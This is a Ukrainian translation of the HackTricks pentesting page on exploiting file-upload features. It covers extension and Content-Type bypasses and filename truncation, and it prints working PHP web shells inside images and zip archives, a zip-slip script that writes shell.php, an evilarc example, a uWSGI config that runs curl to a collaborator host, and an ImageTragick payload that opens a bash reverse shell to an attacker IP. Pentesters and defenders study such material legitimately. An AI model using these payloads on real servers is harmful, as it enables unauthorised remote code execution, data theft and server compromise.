File Upload

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

Якщо вас цікавить кар'єра хакера і взламати невзламне - ми шукаємо співробітників! (вимагається вільне володіння польською мовою, як письмово, так і усно).

Загальна методологія завантаження файлів

Інші корисні розширення:

  • PHP: .php, .php2, .php3, .php4, .php5, .php6, .php7, .phps, .phps, .pht, .phtm, .phtml, .pgif, .shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module

  • Робота в PHPv8: .php, .php4, .php5, .phtml, .module, .inc, .hphp, .ctp

  • ASP: .asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml

  • Jsp: .jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action

  • Coldfusion: .cfm, .cfml, .cfc, .dbm

  • Flash: .swf

  • Perl: .pl, .cgi

  • Erlang Yaws Web Server: .yaws

Обхід перевірки розширень файлів

  1. Якщо вони застосовуються, перевірте попередні розширення. Також перевірте їх, використовуючи деякі великі літери: pHp, .pHP5, .PhAr ...

  2. Перевірте додавання дійсного розширення перед розширенням виконання (використовуйте також попередні розширення):

  • file.png.php

  • file.png.Php5

  1. Спробуйте додати спеціальні символи в кінці. Ви можете використовувати Burp для перебору всіх ascii та Unicode символів. (Зауважте, що ви також можете спробувати використати попередні згадані розширення)

  • file.php%20

  • file.php%0a

  • file.php%00

  • file.php%0d%0a

  • file.php/

  • file.php.\

  • file.

  • file.php....

  • file.pHp5....

  1. Спробуйте обійти захист обманом парсера розширень на стороні сервера за допомогою технік, таких як подвоєння розширення або додавання сміттєвих даних (нульові байти) між розширеннями. Ви також можете використати попередні розширення для підготовки кращого навантаження.

  • file.png.php

  • file.png.pHp5

  • file.php#.png

  • file.php%00.png

  • file.php\x00.png

  • file.php%0a.png

  • file.php%0d%0a.png

  • file.phpJunk123png

  1. Додайте ще один шар розширень до попередньої перевірки:

  • file.png.jpg.php

  • file.php%00.png%00.jpg

  1. Спробуйте поставити виконавче розширення перед дійсним розширенням і моліться, щоб сервер був неправильно налаштований. (корисно для експлуатації помилок конфігурації Apache, де будь-що з розширенням** .php, але не обов'язково закінчується на .php** виконає код):

  • наприклад: file.php.png

  1. Використання альтернативного потоку даних NTFS (ADS) в Windows. У цьому випадку після забороненого розширення і перед дозволеним буде вставлено символ «:». В результаті на сервері буде створено порожній файл з забороненим розширенням (наприклад, "file.asax:.jpg"). Цей файл може бути відредагований пізніше за допомогою інших технік, таких як використання його короткого імені файлу. Шаблон "::$data" також можна використовувати для створення непорожніх файлів. Тому додавання крапки після цього шаблону також може бути корисним для обходу подальших обмежень (.напр., "file.asp::$data.")

  2. Спробуйте порушити обмеження імені файлу. Дійсне розширення відсікається. І зловмисний PHP залишається. AAA<--SNIP-->AAA.php

# Максимально 255 байтів для Linux
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # відняти 4 тут і додати .png
# Завантажте файл і перевірте відповідь, скільки символів він дозволяє. Скажімо, 236
python -c 'print "A" * 232'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
# Створіть навантаження
AAA<--SNIP 232 A-->AAA.php.png

Обхід перевірок Content-Type, Magic Number, Compression & Resizing

  • Обійдіть перевірки Content-Type, встановивши значення Content-Type заголовка на: image/png, text/plain, application/octet-stream

  • Обійдіть перевірку магічного числа, додавши на початок файлу байти реального зображення (переплутати команду file). Або введіть оболонку всередину метаданих: exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg \ або ви також можете ввести навантаження безпосередньо в зображення: echo '<?php system($_REQUEST['cmd']); ?>' >> img.png

  • Якщо до вашого зображення додається стиснення, наприклад, за допомогою деяких стандартних бібліотек PHP, таких як PHP-GD, попередні техніки не будуть корисними. Однак ви можете використати PLTE chunk техніку, визначену тут для вставки тексту, який переживе стиснення.

  • Сторінка також може змінювати розмір зображення, наприклад, використовуючи функції PHP-GD imagecopyresized або imagecopyresampled. Однак ви можете використати IDAT chunk техніку, визначену тут для вставки тексту, який переживе стиснення.

  • Ще одна техніка для створення навантаження, яке переживе зміну розміру зображення, використовуючи функцію PHP-GD thumbnailImage. Однак ви можете використати tEXt chunk техніку, визначену тут для вставки тексту, який переживе стиснення.

Інші прийоми для перевірки

  • Знайдіть вразливість для перейменування вже завантаженого файлу (для зміни розширення).

  • Знайдіть вразливість Local File Inclusion для виконання backdoor.

  • Можлива розкриття інформації:

  1. Завантажте декілька разіводночасно) той самий файл з такою самою назвою

  2. Завантажте файл з назвою файлу або папки, яка вже існує

  3. Завантаження файлу з ім'ям “.”, “..”, або “…”. Наприклад, в Apache в Windows, якщо програма зберігає завантажені файли в каталозі “/www/uploads/”, ім'я “.” створить файл з назвою “uploads” в каталозі “/www/”.

  4. Завантажте файл, який може бути видалений не легко, такий як “…:.jpg” в NTFS. (Windows)

  5. Завантажте файл в Windows з недійсними символами такими як |<>*?” в назві. (Windows)

  6. Завантажте файл в Windows використовуючи зарезервовані (заборонені) назви такі як CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, та LPT9.

  • Спробуйте також завантажити виконуваний файл (.exe) або .html (менш підозрілий), який виконає код при випадковому відкритті жертвою.

Особливі трюки з розширенням

Якщо ви намагаєтеся завантажити файли на PHP сервер, подивіться трюк з .htaccess для виконання коду. Якщо ви намагаєтеся завантажити файли на ASP сервер, подивіться трюк з .config для виконання коду.

Файли .phar схожі на файли .jar для Java, але для php, і можуть бути використані як файл php (виконуючи його за допомогою php або включаючи його всередину скрипта...)

Розширення .inc іноді використовується для файлів php, які використовуються лише для імпорту файлів, тому, на деякому етапі, хтось міг дозволити це розширення для виконання.

Jetty RCE

Якщо ви можете завантажити файл XML на сервер Jetty, ви можете отримати RCE, оскільки нові *.xml та *.war автоматично обробляються. Таким чином, як зазначено на наступному зображенні, завантажте файл XML в $JETTY_BASE/webapps/ і очікуйте оболонку!

uWSGI RCE

Для детального дослідження цієї вразливості перегляньте оригінальне дослідження: uWSGI RCE Exploitation.

Вразливості на виконання віддалених команд (RCE) можуть бути використані на серверах uWSGI, якщо є можливість змінити файл конфігурації .ini. Файли конфігурації uWSGI використовують конкретний синтаксис для включення "магічних" змінних, заповнювачів та операторів. Зокрема, оператор '@', використовуваний як @(filename), призначений для включення вмісту файлу. Серед різних підтримуваних схем в uWSGI, схема "exec" особливо потужна, дозволяючи читати дані зі стандартного виводу процесу. Цю функцію можна використовувати для злочинних цілей, таких як виконання віддалених команд або запис/читання довільного файлу, коли обробляється файл конфігурації .ini.

Розгляньте наступний приклад шкідливого файлу uwsgi.ini, де показані різні схеми:

[uwsgi]
; read from a symbol
foo = @(sym://uwsgi_funny_function)
; read from binary appended data
bar = @(data://[REDACTED])
; read from http
test = @(http://[REDACTED])
; read from a file descriptor
content = @(fd://[REDACTED])
; read from a process stdout
body = @(exec://whoami)
; curl to exfil via collaborator
extra = @(exec://curl http://collaborator-unique-host.oastify.com)
; call a function returning a char *
characters = @(call://uwsgi_func)

Виконання полезного навантаження відбувається під час розбору файлу конфігурації. Для активації та розбору конфігурації процес uWSGI повинен бути або перезапущений (можливо, після збою або через атаку з відмовою в обслуговуванні), або файл повинен бути налаштований на автоматичне перезавантаження. Функція автоматичного перезавантаження, якщо вона увімкнена, перезавантажує файл у вказані інтервали при виявленні змін.

Важливо розуміти нестрогий характер розбору файлу конфігурації uWSGI. Зокрема, обговорене полезне навантаження може бути вставлене в бінарний файл (наприклад, у зображення або PDF), що додатково розширює обсяг потенційної експлуатації.

Хитрість з вивантаженням файлів/SSRF за допомогою wget

У деяких випадках ви можете виявити, що сервер використовує wget для завантаження файлів і ви можете вказати URL. У цих випадках код може перевіряти, що розширення завантажених файлів знаходиться в білому списку, щоб гарантувати, що будуть завантажені лише дозволені файли. Однак цю перевірку можна обійти. Максимальна довжина імені файлу в linux становить 255, однак wget обрізає імена файлів до 236 символів. Ви можете завантажити файл з іменем "A"*232+".php"+".gif", це ім'я файлу обійде перевірку (як у цьому прикладі ".gif" є дійсним розширенням), але wget перейменує файл на "A"*232+".php".

#Create file and HTTP server
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
python3 -m http.server 9080
#Download the file
wget 127.0.0.1:9080/$(python -c 'print("A"*(236-4)+".php"+".gif")')
The name is too long, 240 chars total.
Trying to shorten...
New name is AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.
--2020-06-13 03:14:06--  http://127.0.0.1:9080/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.gif
Connecting to 127.0.0.1:9080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 10 [image/gif]
Saving to: ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’

AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[===============================================>]      10  --.-KB/s    in 0s

2020-06-13 03:14:06 (1.96 MB/s) - ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ saved [10/10]

Зверніть увагу, що інша опція, яку ви можете розглядати для обходу цієї перевірки, - це зробити HTTP-сервер перенаправлення на інший файл, тоді початковий URL обійде перевірку, а потім wget завантажить перенаправлений файл з новою назвою. Це не працюватиме, якщо wget використовується з параметром --trust-server-names, оскільки wget завантажить перенаправлену сторінку з назвою файлу, вказаною в початковому URL.

Інструменти

  • Upload Bypass - потужний інструмент, призначений для допомоги Пентестерам та Bug Hunters у тестуванні механізмів завантаження файлів. Він використовує різноманітні техніки пошуку помилок для спрощення процесу ідентифікації та використання вразливостей, забезпечуючи ретельну оцінку веб-додатків.

Від завантаження файлу до інших вразливостей

Ось топ-10 списку речей, які можна досягти завантаженням (з тут):

  1. ASP / ASPX / PHP5 / PHP / PHP3: Веб-оболонка / RCE

  2. SVG: Збережений XSS / SSRF / XXE

  3. GIF: Збережений XSS / SSRF

  4. CSV: Введення CSV

  5. XML: XXE

  6. AVI: LFI / SSRF

  7. HTML / JS : Введення HTML / XSS / Відкрите перенаправлення

  8. PNG / JPEG: Атака затоплення пікселями (DoS)

  9. ZIP: RCE через LFI / DoS

  10. PDF / PPTX: SSRF / BLIND XXE

Розширення Burp

Магічні байти заголовка

  • PNG: "\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\xs0\x03["

  • JPG: "\xff\xd8\xff"

Див. https://en.wikipedia.org/wiki/List_of_file_signatures для інших типів файлів.

Автоматично розпакований ZIP/Tar файл

Якщо ви можете завантажити ZIP, який буде розпакований всередині сервера, ви можете зробити 2 речі:

Символічне посилання

Завантажте посилання, що містить символьні посилання на інші файли, потім, звертаючись до розпакованих файлів, ви отримаєте доступ до зв'язаних файлів:

ln -s ../../../index.php symindex.txt
zip --symlinks test.zip symindex.txt
tar -cvf test.tar symindex.txt

Розпакування в різні теки

Неочікуване створення файлів у каталогах під час розпакування є значною проблемою. Незважаючи на початкові припущення, що ця настройка може захистити від виконання команд на рівні ОС через зловмисні завантаження файлів, ієрархічна підтримка стиснення та можливості траверсування каталогів формату ZIP можуть бути використані. Це дозволяє зловмисникам обійти обмеження та вийти з безпечних каталогів завантаження, маніпулюючи функціоналом розпакування цільового додатка.

Автоматизований експлойт для створення таких файлів доступний на evilarc на GitHub. Утиліта може бути використана наступним чином:

# Listing available options
python2 evilarc.py -h
# Creating a malicious archive
python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php

Додатково, хитрість символічного посилання з evilarc є варіантом. Якщо метою є спрямування на файл, наприклад, /flag.txt, символічне посилання на цей файл повинно бути створено у вашій системі. Це гарантує, що evilarc не зіткнеться з помилками під час своєї роботи.

Нижче наведено приклад коду Python, який використовується для створення шкідливого zip-файлу:

#!/usr/bin/python
import zipfile
from io import BytesIO

def create_zip():
f = BytesIO()
z = zipfile.ZipFile(f, 'w', zipfile.ZIP_DEFLATED)
z.writestr('../../../../../var/www/html/webserver/shell.php', '<?php echo system($_REQUEST["cmd"]); ?>')
z.writestr('otherfile.xml', 'Content of the file')
z.close()
zip = open('poc.zip','wb')
zip.write(f.getvalue())
zip.close()

create_zip()

Зловживання стисненням для розпилення файлів

Для отримання додаткових відомостей перевірте оригінальний пост за посиланням: https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/

  1. Створення оболонки PHP: PHP-код написаний для виконання команд, переданих через змінну $_REQUEST.

<?php
if(isset($_REQUEST['cmd'])){
$cmd = ($_REQUEST['cmd']);
system($cmd);
}?>
  1. Розпилення файлів та створення стисненого файлу: Створюються кілька файлів, і збирається архів zip, що містить ці файли.

root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done
root@s2crew:/tmp# zip cmd.zip xx*.php
  1. Зміна за допомогою Hex-редактора або vi: Назви файлів всередині zip змінюються за допомогою vi або hex-редактора, змінюючи "xxA" на "../" для переходу по каталогах.

:set modifiable
:%s/xxA/..\//g
:x!

ImageTragic

Завантажте цей вміст з розширенням зображення, щоб використати уразливість (ImageMagick, 7.0.1-1)експлойтом)

push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)'
pop graphic-context

Вбудовування PHP Shell у PNG

Вбудовування PHP shell у частину IDAT файлу PNG може ефективно обійти певні операції обробки зображень. Функції imagecopyresized та imagecopyresampled з PHP-GD особливо важливі в цьому контексті, оскільки вони часто використовуються для зміни розміру та ресемплінгу зображень. Можливість вбудованого PHP shell залишатися незмінним під час цих операцій є значним перевагою для певних випадків використання.

Детальне дослідження цієї техніки, включаючи методологію та потенційні застосування, наведено в наступній статті: "Кодування веб-шелів у частинах IDAT файлів PNG". Цей ресурс пропонує всебічне розуміння процесу та його наслідків.

Додаткова інформація за посиланням: https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/

Поліглотні файли

Поліглотні файли виступають унікальним інструментом у кібербезпеці, діючи як хамелеони, які можуть законно існувати одночасно у кількох форматах файлів. Цікавим прикладом є GIFAR, гібрид, який функціонує як GIF та архів RAR одночасно. Такі файли не обмежуються цією парою; комбінації, такі як GIF та JS або PPT та JS, також можливі.

Основна корисність поліглотних файлів полягає в їх здатності обійти заходи безпеки, які перевіряють файли за типом. Загальна практика в різних додатках передбачає дозвіл лише певних типів файлів для завантаження - наприклад, JPEG, GIF або DOC - для зменшення ризику, що можуть створювати потенційно шкідливі формати (наприклад, JS, PHP або Phar файли). Однак поліглот, відповідно до структурних критеріїв кількох типів файлів, може хитро обійти ці обмеження.

Незважаючи на їх адаптивність, поліглоти зіштовхуються з обмеженнями. Наприклад, хоча поліглот може одночасно втілювати файл PHAR (PHp ARchive) та JPEG, успіх його завантаження може залежати від політики розширень файлів платформи. Якщо система суворо ставиться до допустимих розширень, проста структурна двоїстість поліглота може бути недостатньою для гарантії його завантаження.

Додаткова інформація за посиланням: https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a

Посилання

Якщо вас цікавить кар'єра хакера та взламати невзламне - ми шукаємо співробітників! (вимагається вільне письмо та мовлення польською).

Вивчіть хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

Last updated